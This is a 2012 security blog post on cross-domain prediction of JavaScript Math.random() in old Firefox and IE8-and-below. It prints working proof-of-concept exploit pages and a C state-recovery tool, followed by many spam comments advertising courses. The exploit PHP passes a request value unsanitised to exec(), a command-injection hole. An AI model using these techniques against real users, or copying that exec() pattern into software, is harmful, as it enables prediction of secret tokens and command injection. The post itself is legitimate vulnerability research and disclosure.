Thursday, May 31, 2012

Cross-domain Math.random() prediction


I recently descovered an interesting security issue in a web application that could be potentially exploited if an attacker could guess the values generated by JavaScript's Math.random() function running in a window in the web app's domain. So, I was wondering could the values returned by the Math.random() in one window in one domain be predicted from another window in another domain. Surprisingly, the answer is "yes". At least if you use Firefox or Internet explorer 8 and below. The technique that does this is called Cross-domain Math.random() prediction.

The JavaScript Math.random() weaknesses in different browser are nothing new. Amit Klein wrote extensively abot them [1, 2, 3]. However, while he does mention Cross-domain Math.random() prediction in his paper [1], the focus of his writing is more on using these weaknesses to track user across multiple websites. That's why in this post I'm going to show more details about this particular technique (Cross-domain Math.random() prediction) and also show the current state of the web browsers regarding the Math.random() predictability. In this post, I'll write about the attack in general and in a subsequent post, I'll show an example vulnerable application (once it gets patched).

In general, to use the attack, the following conditions must be met:

1. A web page in some domain uses Math.random() to generate a number.
2. An attacker can somehow gain from knowing this number.
3. An attacker can choose when this number will be generated (for example, by opening a window with a vulnerable application).

Take for example a web page that generates a random number which is then used to identify a user when talking to the web application server.

Now, let's see what makes the attack possible.

The pseudo-random number generator (PRNG) implementations in Internet Explorer up to IE 9 and Firefox are relatively simple and are described in detail in [1] and [3], respectively. The main points to keep in mind are:

1. Both implementations are based on seeding the 48-bit PRNG state based on the current time (in milliseconds) and the state is updated as (state*a+b)%(2^48), where a and b are constant numbers.

2. In Firefox, PRNG seeding is actually done based on the value obtained by xoring the current time in milliseconds with another number which is obtained by xoring two pointers. However, I have observed that these pointers are usually very similar so the result of the xor operation between them is usually a very small number (<1000). This means that, for practical purposes, we may consider that PRNG state in Firefox is seeded based on the current time in milliseconds +/- 1000.

3. In Firefox, each page will have its own PRNG while in IE 8 and below each tab will have its own PRNG and the PRNG will *not* be reseeded if the page in the tab changes, even though the new page might be in another domain.

This opens two possible algorithms for cross-domain Math.random() prediction, where one will work on IE only, and the other will work on both IE and Firefox. The attacks are described below. The code that demonstrates both attacks can be found in the "Example code" section below.

First attack (IE 8 and below only)

This version of the attack exploits the fact that IE does not reseed the PRNG for every page in the same tab. It works as follows:

1. The attacker gets a user to visit his page
2. The attacker's page generates a random number and uses it to compute the current state of the PRNG
3. The state of the PRNG is sent to the attacker. It can be used to predict the result of any subsequent Math.random() call made in the same browsing tab.
4. The attacker's page redirects the victim to the vulnerable application

Second attack (IE8 and below, Firefox)

This version of the attack is based on guessing the seed value of the PRNG and works as follows:

1. The attacker gets a user to visit his page
2. The page makes a note of the current time, t, and opens a new window with the vulnerable application.
3. Based on t, a guess is made for the PRNG seed value in the new window. If the guess is correct, the attacker can predict the result of Math.random() calls in the new window.

Note that this attack relies on guessing the seed value. Since seeding is done based on the current time in milliseconds, this means that, if we can make multiple guesses, we have a pretty good chance of guessing correctly. For example, if we can predict PRNG seeding time up to a second, we have about 1/1000 chance of guessing correctly in IE and somewhat smaller chance (but usually in the same order of magnitude) for guessing correctly in Firefox. If we can make several hundreds of guesses, this is a pretty good chance, especially considerning that the PRNG state in IE and Firefox has 48 bits.

Other browsers

Internet Explorer 9 is not vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the high-precision counter and additional entropy sources [2].

Google Chrome on Windows also isn't vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the rand_s function which is cryptographically secure [4, 5].

Example code

"rand.html". This page just generates the random number and displays it. The goal of the two "exploit" pages below is to guess it.
<html>
<head>
  <script>
    document.write("I generated: " + Math.random());
  </script>
</head>
<body>
</body>
</html>


"exploit1.php". This page uses the first attack (IE only) to predict Math.random() value in another domain, but in the same tab. It uses "decodestate.exe" to decode the current state of the PRNG.
<?php 
if (isset($_REQUEST['r']))
{
  $state = exec("decodestate.exe ".$_REQUEST['r']);

?>

<html>
<head>
<script>
  //target page, possibly in another domain
  var targetURL = "http://127.0.0.1/rand.html"
  
  var a_hi = 0x5DE;
  var a_lo = 0xECE66D;
  var b = 0x0B;
  var state_lo = 0;
  var state_hi = 0;
  var max_half = 0x1000000;

  //advances the state of the (previously initialized) PRNG
  function advanceState() {
    var tmp_lo,tmp_hi,carry;
    tmp_lo = state_lo*a_lo + b;
    tmp_hi = state_lo*a_hi + state_hi*a_lo;
    if(tmp_lo>=max_half) {
      carry = Math.floor(tmp_lo/max_half);
      tmp_hi = tmp_hi + carry;
      tmp_lo = tmp_lo % max_half;
    }
    tmp_hi = tmp_hi % max_half;
    state_lo = tmp_lo;
    state_hi = tmp_hi;
  }

  //gets the next random() result according to the predicted PRNG state
  function PredictRand() {
    var first,second;
    var num, res;
    
    advanceState();
    first = (state_hi * 8) + Math.floor(state_lo/0x200000);
    advanceState();
    second = (state_hi * 8) + Math.floor(state_lo/0x200000);
    num = first * 0x8000000 + second;
    
    res = num/Math.pow(2,54);
  
    return res;
  }

  function start() {
    var state = <?php echo($state); ?>;
    state_hi = Math.floor(state/max_half);
    state_lo = state%max_half;
    
    alert("I predicted : " + PredictRand());
    
    window.location = targetURL;
  }
  
</script>
</head>
<body onload="start()">
</body> 
</html>

<?php } else { ?>

<html>
<head>
<script> 
  function start() 
  { 
    document.forms[0].r.value=Math.random();
    document.forms[0].submit();
  }
</script>  
</head>
<body onload="start()"> 
<form method="POST" onSubmit="f()"> 
<input type="hidden" name="r"> 
</form> 
</body> 
</html>

<?php } ?>


The code for "decodestate.exe". Much of it is shamelessly copied from [1].
#include <stdlib.h> 
#include <stdio.h> 

#define UINT64(x) (x##I64)
typedef unsigned __int64 uint64; 
typedef unsigned int uint32; 

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{ 
  return (a*x+b) & ((UINT64(1)<<48)-1);
} 

int main(int argc, char* argv[])
{ 
  double sample=atof(argv[1]);
  uint64 sample_int=sample*((double)(UINT64(1)<<54));
  uint32 x1=sample_int>>27;
  uint32 x2=sample_int & ((1<<27)-1);

  for (int v=0;v<(1<<21);v++)
  {
    uint64 state=adv((((uint64)x1)<<21)|v);
    uint32 out=state>>(48-27);
    if ((sample_int & (UINT64(1)<<53)) && (out & 1))
    {
      // Turn off least significant bit (which we know is 1). 
      out--;
      // Perform Round to Nearest (even number, but keep in mind that
      // we don't count the least significant bit)
      if (out & 2)
      {
        out+=2;
      }
    }
    if (out==x2) {
      printf("%lld\n",state);
      return 0;
    }
  }
  // Not found
  printf("-1\n");
  return 0;
}


"exploit2.html". This page uses the second attack (both IE and Firefox) to predict Math.random() value in another domain in another window. Multiple predictions are made of which one is usually correct (depending on the time it takes a browser to open a new window and additional entropy in Firefox).
<html>
  <head>
    <script>
      //target page, possibly in another domain
      var targetURL = "http://127.0.0.1/rand.html"
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      var max_32 = 0x100000000;
      var max_16 = 0x10000;
      var max_8 = 0x100;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      function InitRandPredictor(seedTime) {}
  
      //inits PRNG
      function InitRandPredictorFF(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //inits PRNG
      function InitRandPredictorIE(seedTime) {
        var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14];
        var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2;
        timeh = Math.floor(seedTime/max_32);
        timel1 = Math.floor((seedTime%max_32)/max_16);
        timel2 = seedTime%max_16;
        statel = timeh ^ timel2;
        tmp1 = timel1 ^ 0xDEEC;
        tmp2 = timel2 ^ 0xE66D;
        stateh1 = 0;
        stateh2 = 0;
        for(var i=0;i<16;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16));
          }
        }
        for(var i=16;i<32;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16));
          }
        }
        state_hi = (stateh1<<8) + Math.floor(stateh2/max_8);
        state_lo = ((stateh2%max_8)<<16) + statel;
      } 

      function PredictRand() { return(-1); }

      //gets the next random() result according to the predicted PRNG state
      function PredictRandFF() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRandIE() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 8) + Math.floor(state_lo/0x200000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,54);
      
        return res;
      }      
      
      function start() {
        var msfrom,msto;
        
        //simple browser detection
        if(navigator.userAgent.indexOf("MSIE 8.0")>=0) {
          InitRandPredictor = InitRandPredictorIE;
          PredictRand = PredictRandIE;
          msfrom = 0;
          msto = 1000;
        } else if(navigator.userAgent.indexOf("Firefox")>=0) {
          InitRandPredictor = InitRandPredictorFF;
          PredictRand = PredictRandFF;
          //greater range for FF to deal with extra entropy
          msfrom = -1000;
          msto = 2000;
        } else {
          alert("Sorry, your browser is not supported");
          return;
        }
        
        var d = new Date();
        var t = d.getTime();
        
        var w = window.open(targetURL);
        
        var predictions = "At time " + t.toString() + " I predicted: <br />";
        for(var i=msfrom;i<msto;i++) {
          InitRandPredictor(t+i);
          //InitRandPredictor(1338400821077);
          predictions += PredictRand() + "<br />";
        }
        
        document.getElementById("prediction").innerHTML = predictions;    
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <br/>
    <div id="prediction">
  </body>
</html>


References

[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2] http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom

468 comments:

«Oldest   ‹Older   201 – 400 of 468   Newer›   Newest»
Unknown said...

Thanks For Sharing awesome blog if you are suffering any Quickbooks issue while Quickbooks Update then you can get solution from
Quickbooks Error Support +1 (213) 417-0111

Himani said...

Informative!

Digital Marketing Institutes in Chandigarh

oshin99 said...

Thank you for this blog post, very helpful! If you are interested in learning digital marketing, here is a list of the top 13 digital marketing courses in Ahmedabad with placements. This article will help you decide which institute is best for you to learn digital marketing and will help you to become an efficient and productive digital marketer.
Visit- Digital Marketing Courses in Ahmedabad

Vikas said...

Great article on security and precaution. Thanks for sharing this highly skilled knowledge. Thanks for sharing. If anyone wants to learn Digital Marketing, Please join the highly demanded and most sought skill by the professionals in all streams due to the remarkable growth predicted by international survey agencies. So join today. Find out more detail at
Digital marketing courses in france

asley said...

Thank you for sharing this valuable content. May really help many people. Content Writing Course in Bangalore

anu.the.dreamer said...

Nice article, great information. Digital marketing courses in Ahmedabad

Anonymous said...

Impressive article!
Financial Modeling Course in Delhi

Riya said...

Hi, thanks for sharing information related to Cross-domain Math.random() prediction.
If you are interested in building a medical career but are struggling to clear medical entrance exams, Wisdom Academy is the right place to begin. It is one of Mumbai's best NEET coaching institutes for students preparing for medical and other competitive-level entrance examinations. It offers comprehensive learning resources, advanced study apparatus, doubt-clearing sessions, regular tests, mentoring, expert counseling, and much more. Equipped with highly qualified NEET Home Tutors, Wisdom Academy is one such institute that provides correct guidance that enables you to focus on your goal. Enroll Now!
Visit- NEET Coaching in Mumbai

yskjain said...

Excellent article
Do visit - Digital Marketing Courses in Kuwait

puja H said...

Thank you for sharing this useful blog, especially the part with the first attack (IE only) to predict Math.random() value in another domain. These step wise process is helpful. You can also visit the blog on SEM to learn the process of Digital Marketing.
Search Engine Marketing

Anita Patel said...

I found all the it words and prases but by going through this article i came up with the debeatable knowledge. Good job. Keep sharing and also have a look on Digital Marketing Courses in Abu Dhabi

Riona said...

Nice stuff and thank you for sharing your thought about web security. It would help many learners to better understand. Please, also check out the Digital Marketing Courses in Delhi that will help you upskill and to boost your website. Digital Marketing Courses in Delhi

anu.the.dreamer said...

Nice educational blog, well written. Financial Modeling Course in Delhi

anu.the.dreamer said...
This comment has been removed by the author.
Unknown said...

Good information. Keep up the good work.
Check - Digital marketing courses in Singapore

Puja Mittal said...

Hi, while browsing through the net, I came across this blog. The content is well explained and as well as due to a good formatting system it is understandable by all. Great efforts put in. Thank you.
Digital marketing courses in Ghana

Anonymous said...

The article on cross domain is useful plus knowledgeable. Digital Marketing courses in Bahamas

neeraj kumar said...

Your blog post is really amazing and informative. Thank you for sharing this valuable information.while i was searching for financial modeling Courses in Mumbai, I came through this article which gave me the best platforms to learn financial modeling. It might help other needful person.
Visit:- Financial Modeling Courses in Mumbai

neeraj kumar said...

Thank you for giving such useful information that is often difficult to come by. Excellent job| I am a student getting ready for job in finance sector but want deep knowledge about financial modeling. so this blog help me to know about best financial modeling institution in Mumbai and enhanced my knowledge about financial modeling which made my carrier.
Financial Modeling Courses in Mumbai

Divya said...

Thank you for explaining in detail and in an easy way it helped a lot.
Digital marketing courses in Noida

Priyanka Dutta said...

That was a very informative blog. Thanks for sharing.
Digital marketing courses in Goa

Vikas said...

A Great informative article on security feature implementation for web applications which can be implemented on different browsers. Very well described with code examples. Thanks for sharing your rich experience. If anyone wants to learn Digital Marketing in Austria, Please join the newly designed world-class industry-standard curriculum professional course which are highly demanded skills required by top corporates globally and other best courses as well. For more details, please visit
Digital Marketing Courses in Austria

Melys said...

Appreciate the time you used to provide this useful article. For sure, this post about security in web application will help many learners. Keep it up. We also provide an informational and educational blog about Freelancing. Today, many people want to start a Freelance Career without knowing How and Where to start. People have many questions about:
What is Freelancing and How Does it work?
How to Become a Freelancer?
Is working as a Freelancer a good Career?
What is a Freelancer Job Salary?
Can I live with a Self-Employed Home Loan?
What Kind of Freelancing jobs?
How to get Freelance projects?
How Do companies hire Freelancers?
In our Blog, you will find a guide with Tips and Steps which will help you to take a good decision. Start reading today.
What is Freelancing

Ajay singh said...

Awesome article. I enjoyed reading your articles. this can be really a good scan for me. wanting forward to reading new articles. maintain the nice work! Content Writing Courses in Delhi

Ajay singh said...
This comment has been removed by the author.
Subhasis said...

An amazing article full of information. Thanks for sharing this.
Digital Marketing Courses in Dehradun

anu.the.dreamer said...

Keep sharing your knowledge through your article Digital marketing courses in Gujarat

yishikaj21 said...

Excellent article
Digital Marketing Courses in Pune

Anonymous said...

Thank you for sharing such informative article with knowledge to takeaway from it. I'm looking forward for more such amazing content. Digital Marketing Courses in Faridabad

yishikaj21 said...

Excellent article. Loved it.
Check out - Digital Marketing Courses in Pune

simmu thind said...

Useful Information..!!! Best blog with effective information’s..!thanks for sharing! Professional Courses

Tanya Louis said...

Amazing blog! I found it really interesting. If you are searching for the ideal IAS coaching institute in Hyderabad, there is no better choice than Pragnya IAS Academy. Pragnya IAS Academy is the best IAS Coaching in Hyderabad offering detailed UPSC study material under the leadership of expert faculty & a track record of results for civil service examinations. Join now!
home tuitions in mumbai

shanaya said...

Thanks for sharing this blog. I really want to appreciate you for the efforts you have put here.
Anchor ias coaching in Hyderabad

sandeep mirok said...

thank you for picking up the topic of security issue in a web application with clear information. it was awesome to read, thanks for sharing this great content to my vision, keep sharing.
Digital marketing courses in Kota

punithaselvaraj said...

All the points you described so beautiful.
Are you looking for the best financial modeling courses in India? These skills are increasingly important to upgrade your career and work in the ever-growing finance sector. We have listed the best colleges in India.
Financial Modeling Courses in India

DMC Germany said...

Hi, Thanks for clearing the concept you on Cross-domain Math.random() prediction.
Digital marketing courses in Germany

punithaselvaraj said...

Good article about Ivan's factory. thanks for sharing and keep posting. The need for digital marketing specialists is developing along with the digital marketing industry's ever-expanding reach in Turkey. Compared to other industries, the growth rate is significantly larger. Let's have a look at the best digital marketing courses in Turkey to become an expert in the field.
Digital Marketing Courses In Turkey

nancy yadav said...

the way you have explained the two attack is making sense for us. awesome technical article is this. it was awesome to read, thanks for sharing this great content to my vision, keep sharing. Digital marketing Courses in Bhutan

anu.the.dreamer said...

Excellent tutorial and the javascript coding was specially helpful, glad I came across this blog. Digital marketing courses in Raipur

anushka said...

Really nice post , the coding given was helpful.
Data Analytics Courses In Ahmedabad

Anonymous said...

I find this article pretty nice and reliable after reading this content. Also, keep sharing such good posts. Data Analytics Courses in Delhi

Unknown said...

This is an interesting blog post about cross-domain Math.random() prediction. It discusses how a malicious script could predict the output of Math.random() on another domain, and how this could be used to exploit a user. Data Analytics Courses In Coimbatore

DMC Vancouver said...

Amazing blog post! I appreciate the the efforts and words you have added to this informative blog. I would definitely recommend this blog to someone who is looking for some from some expertise in this particular subject about "Cross-domain Math.random() prediction". Digital Marketing Courses in Vancouver

DAC Mumbai said...

This is an interesting post on the potential for Cross-domain Math.random() prediction. The blog is very well written with some great examples and pictures included in it. Thanks for sharing this with us. Keep up the good work! Data Analytics Courses in Mumbai

Arpitha said...


I really want to appreciate you for sharing this blog. If you are searching for data analytics courses in Agra, here is a list of the top five data analytics courses in Agra with practical training. Check out!
Data Analytics Courses in Agra

DAC Gurgaon said...

Really outstanding content provided by the author about Cross-domain Math.random() prediction.
I really appreciate the efforts and word that have been included in this blog by the author. Thanks for sharing it with us. Keep up the good work! Data Analytics Courses in Gurgaon

Data Analytics courses in vadodara said...

Very useful information on security issue found on web application

Data Analytics Courses In Vadodara

Digital marketing course said...

Awesome article about Cross-domain Math.random() prediction. Digital marketing courses in Varanasi

Data Analytics Course said...

Nice post. Thanks for sharing.  Data Analytics Courses in navi Mumbai 

Data Analytics Courses said...

Very well written security blogs.  Data Analytics Courses In Bangalore 

Hema R said...

Great article. The "Math random prediction" tutorial is excellent. As a newbie, this article is handy and informative. The way you have explained about attack possible is to the point. Thank you for concisely explaining each "attack" and "sample code." I have learned a lot. Keep sharing more informative posts.
Digital marketing courses in Nagpur

kritikan krishna said...

Very good blog, Thanks for sharing such a wonderful blog with us. Check out Digital Marketing Courses In Pune.

DMCITRN2 said...

Truly, this is highly appreciable your research to find the security issue mainly occurred in Fire Fox or Internet Explorer 8, therefore this is very important to update regularly the explorer which takes care of security issues to some extent and now can be taken care of more accuracy with your Java snippet after inserting into the web application. Thanks very much for sharing your great experience and hard work. If anyone wants to build his carrier in Digital Marketing then you must go through our curriculum which is designed very professionally with cutting edge of the current requirement of the corporates and based on market trends. For more detail Please visit at
Digital marketing Courses In UAE

Sonali said...

Nice blog sir. check out:Web Designing Classes in Pune

DAC Ghana said...

fantastic blog post I value the time and words you have put into this educational blog. I would unquestionably suggest this blog to someone hunting for some knowledge on "Cross-domain Math.random() prediction" in particular.
Data Analytics Courses in Ghana

DMCIRO said...

I was actually captured with the piece of resources you have got for us. A big thumbs up for making such wonderful blog page. Also it is necessary to regularly update the explorer which do takes care of our security issues to an extent
Data Analytics Courses in New Zealand

pharmaceuticalmarketing said...

thank you for posting .check outDigital Marketing Courses In Hadapsar

DMC Australia said...

Thanks for sharing this nice blog! Fantastic blog! Kudos to the author, and we hope you'll continue to produce work of this kind in the future. This article will undoubtedly motivate a lot of hopefuls who are eager to learn. Expecting a lot more content and being really curious.
Digital Marketing Courses in Australia

RHema said...

Excellent article and outstanding tutorial on "Math random prediction." For a newbie, this article is instructive and helpful. Great explanations. Thanks for outlining each "attack" and "sample code" so briefly. I've learned a tonne of new things. Publish more articles.
Courses after bcom

Garvita said...

Nice article. Check out Web Designing Courses In Pune

madhuri suryawanshi said...

nice blog, Digital Marketing Company In Pune

bakedtreat said...

Nice blog. CheckoutDigital marketing comapny in Baner, Digital marketing agency in Baner

How to Explain 'Digital Marketing' to your GrandParents? said...

Nice Article . Check out Digital Marketing Agency in Pimple Saudagarr

Kasivishwa said...

Fantastic article Excellent tutorial on "Math random prediction." This post is helpful and educational for a beginner. You made a good point when you mentioned how an attack might happen. I appreciate your succinctly describing each "attack" and "sample code." I've gained a lot of knowledge. Share more articles. Digital marketing courses in patna

FMC Kenya said...

Awesome blog! This blog post on cross-domain Math.random() prediction is fascinating. It goes into how a malicious script might be able to predict the results of Math.random() on a different domain and how this might be exploited to trick a user. This is a perfect blog for students who wants to learn this subject.
financial modelling course in kenya

Divya said...

great blog. keep sharing more.
Python course in Chennai
Python Course in Bangalore
Python Training in Coimbatore

TIP said...

Thanks for sharing blog with us. Check out Digital Marketing Courses in Pune

Simran said...

The technical knowledge you are sharing on this blog is highly appreciated. The content is really effectively explained in a simple and understandable manner.
Data Analytics Courses In Nagpur

Shivank Trisal said...
This comment has been removed by the author.
kiran kamboj said...

Indeed a great article! I am definitely going to bookmark it to go through it over again after work. It seems to cover the major information about the topic in points. Data Analytics Courses In Indore

FMC Bangalore said...

This blog post delves into the potential security issues related to predicting Math.random() output across domains. It examines how a malicious code might take advantage of this vulnerability to target a user.
financial modelling course in bangalore

Financial modelling courses said...

This article improved my understanding related to security issues related to predicting Math.random() output across domains.

financial modelling course in gurgaon

Hema09 said...

A wonderful article is about how to use the "JavaScript's Math. random() function." The conditions to meet the attack are also explained well. The detailed points on attack possibilities are very informative for a newbie like me. Thanks for sharing such an in-depth blog and sample code. It is essential for learners. Keep sharing more. Financial modelling course in Singapore

HemaK said...

Outstanding share on "Math. random() prediction." Thanks for solving the problem faced by firefox and IE users. The "Attacks" mentioned are also relatively easy to understand. The clear and concise explanations under each "attack" are to the point. Providing example code to readers is a great idea. The writer has put serious effort into this blog. Thanks, and keep sharing more. Data Analytics courses in leeds

Komal_SEO_08 said...

What a helpful article Math. random Prediction. This article was quite interesting to read. I want to express my appreciation for your time and making this fantastic post.
data Analytics courses in liverpool

Week2 said...

Hello blogger,
I just want to thanks you for this blog post, keep the great job up!
data Analytics courses in thane

DigitalM said...

I have the same thoughts similar about this type of content. It is very important to update the explorer which takes care of security issues to some extent and now can be taken care of more accuracy with the Java snippet. Also, if anyone is interested in learning more about Financial modelling course in Jaipur, then I would like to recommend you with this article on: financial modelling course in jaipur

KHema said...

How to utilize the "JavaScript's Math. random() function" is described in an insightful post. The requirements for the attack are also clearly outlined. For a novice like me, the extensive remarks on assault potential are instructive. I appreciate you providing such a thorough article and sample code. It is crucial for students. Don't stop sharing. Data Analytics courses in Glasgow

Business3 said...

Hello Ivan,
Your topic is a relevant one. In fact, security is one of the most important issues in the current business. After, I read your blog post, I have noticed that it has some relevant information in it. Thanks for all. Data Analytics Course Fee

Hema said...

Excellent presentation on "Math. random() prediction." Thank you for resolving the issue users of IE and Firefox were having. The indicated "Attacks" are likewise quite simple to comprehend. Under each "attack," simple, brief explanations get to the point. It's a good idea to give readers some sample codes. This blog has undergone substantial effort from the blogger. Thank you, and keep sharing. Data Analytics Scope

Punith said...

I was just browsing through the internet looking for some information and came across your blog. I am impressed by the information that you have on this blog. It shows the efforts on research and your understanding on this subject. Bookmarked this page, will come back for more.. Data Analytics courses in germany

Kirant said...

Such security issues are rising as attackers are finding latest methods to hamper web applications. The codes shared give a clear picture and solidify your statement. Also the references mentioned are very beneficial. Thank you for throwing light on this crucial topic.
Data Analytics Jobs

Data Analyst Interview Questions said...

With the rise of internet & increasing threats from viruses, hackers etc... Security has become a major issue. This is really useful blog thanks for the blog... Data Analyst Interview Questions 

supriya said...

As a newbie, this article is handy and informative. The way you have explained about attack possible is to the point. Thank you for concisely explaining each "attack" and "sample code." I have learned a lot. Keep sharing more informative posts. Digital Marketing Services in Pimple Saudagar

Urvashi said...

This articleis really helpful andinformative.Thank you for such information. Web Designing and Development Courses In Pune

Intern4 said...

Hello Ivan,
I just want to let you know that you did an interesting work. As to security, it is a priority in mostly everything. Business analytics in Pune? Business Analytics courses in Pune

Hema said...

Great post. This insightful tutorial explains how to use the "JavaScript's Math. random() method." Moreover, the criteria for the "attack " listed are thoughtful. The lengthy discussions on assault potential are helpful to a rookie like me. Thank you for the comprehensive article and sample code. It is essential for learners. Continue sharing. Data Analyst Course Syllabus

Rani said...

Thank You For Sharing. Check Out Web Designing Courses In Pune

RDataAnalyst said...

I was searching for this sort of data on Cross-domain Math random and delighted in perusing this one. The writer has outdone himself this time. If anyone wants to learn Data Analyst Salary In India then kindly join the newly designed curriculum professional course with highly demanded skills. You will be taught in a professional environment with the given practical assignments which you can decide in your specialized stream. Data Analyst Salary In India

Pooja Patil said...

Thanks for sharing this info,it is very helpful. Check Out
Digital Marketing Courses In Pune

Tiwariji said...

"An award winning Digital Marketing Agency, the one who understands the importance of a digital media presence for a brand. As soon as they get the knowledge of the company and what they are expecting from the digital world, Milind Morey is one of the best Digital Marketing Company In Pune by which you get all of your services.

They plan and create impactful strategies for digital marketing in an engaging way on relevant digital media platforms. Along with their dedicated team, Milind Morey creates powerful content and other marketing strategies in such a way that it doubles the value of the brand. Digital Marketing Agency In Pune with Milind Morey company is at the core of everything they do."
Digital Marketing Company In Pune

Tiwariji said...

Hi Sir I read your blog which is about Ivan Fratric's Security and realy its a great blog. its fully providing knowlage about Ivan Fratric's Security. I realy enjoyed and loved it to read. Digital Marketing Company In Pune

Digitmarket said...

Hello Ivan,
I just want to say that your effort in making this blog post is highly appreciated. After I read, I was excited to find out the content. Thanks for all. Data Analytics Qualifications

Digitmarket said...

Hello dear blogger, thank you for making this blog post. I like it. It is a great one.
Data Analytics Qualifications

karanm said...

Recently I have been reading a few articles on Math.random(),but this one seems to be fascinating. Cross domain Math.random() prediction is something I heard about first time. Thank you for sharing this amazing blog.
Data Analytics VS Data Science

Sixthmarkd said...

Hello blogger,
I really appreciate this blog post. I found it interesting to read, there are lot of good ideas in it. Great work, keep it up! Best Business Accounting & Taxation Course in India

Sixthmarkd said...

Hi Ivan,
In term of security, we can notice that there is always this concern in almost every domain. I found your blog really interesting to read. Thanks for making it. Great work. Best Business Accounting & Taxation Course in India

financial India said...

security related articles are very important and cautions us to protect our websites. very knowledgeable post Best Financial modeling courses in India

ananya said...

I discovered your blog and I must say it was worth reading. You have prepared it so nicely. CA Coaching in Mumbai

gst course said...

Thanks for the post on java script math.random(). It's really beneficial for us Best GST Courses in India

Rani said...

Thanks For Sharing. Your Blog Have Nice Information, I Got Good Ideas From This Amazing Blog.Interior Designing Cost For 2bhk In Pune

Seventh said...

Hello dear blogger,
I was glad to find your blog post here. It is a great article. Keep doing the right work. Best SEO Courses in India

Seventh said...

Hi Ivan,
You got to chose the best one as topic. In almost every domain, security is a corn for all. I appreciate your ideas on it. thanks for all! Best SEO Courses in India

Rani said...

Thanks For Sharing. Your Blog Have Nice Information, I Got Good Ideas From This Amazing Blog.Interior Designers In Kothrud

Devanshi said...

Thank you for sharing this information. It's very helpful for me.
check out Digital Marketing Training in pune

RGSTcourse said...

You made the content so interesting and impressive that no one can skip without reading it. Also, if anyone is interested in learning more about Best GST Courses in India, then I would like to recommend you with this article on the Best GST Courses in India – A Detailed Exposition With Live Training. Best GST Courses in India

Lastweek said...

Hello Ivan,
I think you have addressed an important topic. In fact, in every domain in nowadays, security is one of the most considered thing. Nice work, keep it up. Best Content Writing Courses in India

VISWA Technologies said...

Very good list of directories, it works. Thanks

PEGA 8.1 (CSA & CSSA) Realtime Online Support In India
Oracle Fusion Financials Realtime Online Support In India
Best Golang Online Certification Training India
Business Analyst Payments Domain Interview Questions & Answers
Deep Learning Online Training Institute from India, Hyderabad

Nithya said...

You have done an excellent job in explaining the Cross Domain of Math. random Prediction. It is not an easy concept to explain, but you have done so in an easy-to-understand manner. I appreciate your effort in breaking down the concept into understandable terms. Your explanation of the concept, along with the example you provided, makes it easier to understand the concept. Thank you for taking the time to write this blog. Best Technical Writing Courses in India

Nithya said...

I really appreciate you for writing this blog. You have put in a lot of effort in presenting useful information that could help in preventing cross-domain attacks. It is very important to be aware of these attacks, and you have provided an effective method to protect against it. You have provided a detailed description of the attack and how the random number prediction can be used to prevent it. Your blog is highly informative and educative. Thank you for sharing this. Best Technical Writing Courses in India

MLM Software said...

Nice blog sir. check out: MLM plan software

divy said...

must read article
do read:Teamcenter Training in Pune

Dev Shaw said...
This comment has been removed by the author.
Shambavi MG said...

You have done a great job in highlighting the importance and implications of the Cross-Domain Math.random Prediction in the blog. It is a great way to explain the risk factors associated with this prediction. You have provided a great insight into the subject and how it can be used and abused. Your writing style is concise and clear and you have managed to make the blog informative and interesting. I truly appreciate your effort in bringing this important concept to light. Well done. FMVA

Thendral said...

This article is very informative. Thank you for sharing this post.
Best Tally Courses in India

Thendral said...

Thanks for sharing this information. Keep posting like this.
Best Tally Courses in India

Divya said...

I appreciate your effort for writing this amazing blog about cross-domain Math.random prediction. Your article is very informative and gave me an insight about the concept. Your writing style is very easy to understand and I liked the way you explained the concept using simple language. You also presented a lot of facts, figures and statistics to support your argument. I found this blog very useful and informative. Thank you for writing this blog. Article Writing

Pooja said...

